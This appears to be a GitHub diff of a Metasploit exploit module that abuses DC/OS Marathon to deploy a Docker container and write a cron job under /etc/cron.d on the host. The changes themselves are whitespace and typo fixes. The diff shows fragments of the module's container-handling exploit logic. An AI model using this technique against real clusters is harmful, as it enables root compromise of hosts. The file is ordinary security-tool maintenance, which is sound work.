1
1
##
2
- # This module requires Metasploit: http//metasploit.com/download
2
+ # This module requires Metasploit: http: //metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
@@ -22,7 +22,7 @@ def initialize(info = {})
22
22
by the host operating system allowing the attacker to edit/create
23
23
files owed by root. This exploit abuses this to creates a cron job
24
24
in the '/etc/cron.d/' path of the host server.
25
-
25
+
26
26
*Notes: The docker image must be a valid docker image from
27
27
hub.docker.com. Further more the docker container will only
28
28
deploy if there are resources available in the DC/OS cluster.
@@ -88,7 +88,7 @@ def del_container(container_id)
88
88
89
89
def make_container_id
90
90
return datastore [ 'CONTAINER_ID' ] unless datastore [ 'CONTAINER_ID' ] . nil?
91
-
91
+
92
92
rand_text_alpha_lower ( 8 )
93
93
end
94
94
@@ -169,16 +169,16 @@ def exploit
169
169
wait_time = datastore [ 'WAIT_TIMEOUT' ]
170
170
deleted_container = false
171
171
print_status ( "Waiting up to #{ wait_time } seconds for docker container to start" )
172
-
172
+
173
173
while wait_time > 0
174
174
sleep ( sleep_time )
175
175
wait_time -= sleep_time
176
176
apps_status = get_apps
177
- fail_with ( Failure ::Unkown , 'No apps returned' ) unless apps_status
178
-
177
+ fail_with ( Failure ::Unknown , 'No apps returned' ) unless apps_status
178
+
179
179
apps_status [ 'apps' ] . each do |app |
180
180
next if app [ 'id' ] != "/#{ container_id } "
181
-
181
+
182
182
if app [ 'tasksRunning' ] == 1
183
183
print_status ( 'The docker container is running, removing it' )
184
184
del_container ( container_id )
@@ -190,7 +190,7 @@ def exploit
190
190
break
191
191
end
192
192
end
193
-
193
+
194
194
# If the docker container does not deploy remove it and fail out.
195
195
unless deleted_container
196
196
del_container ( container_id )
0 commit comments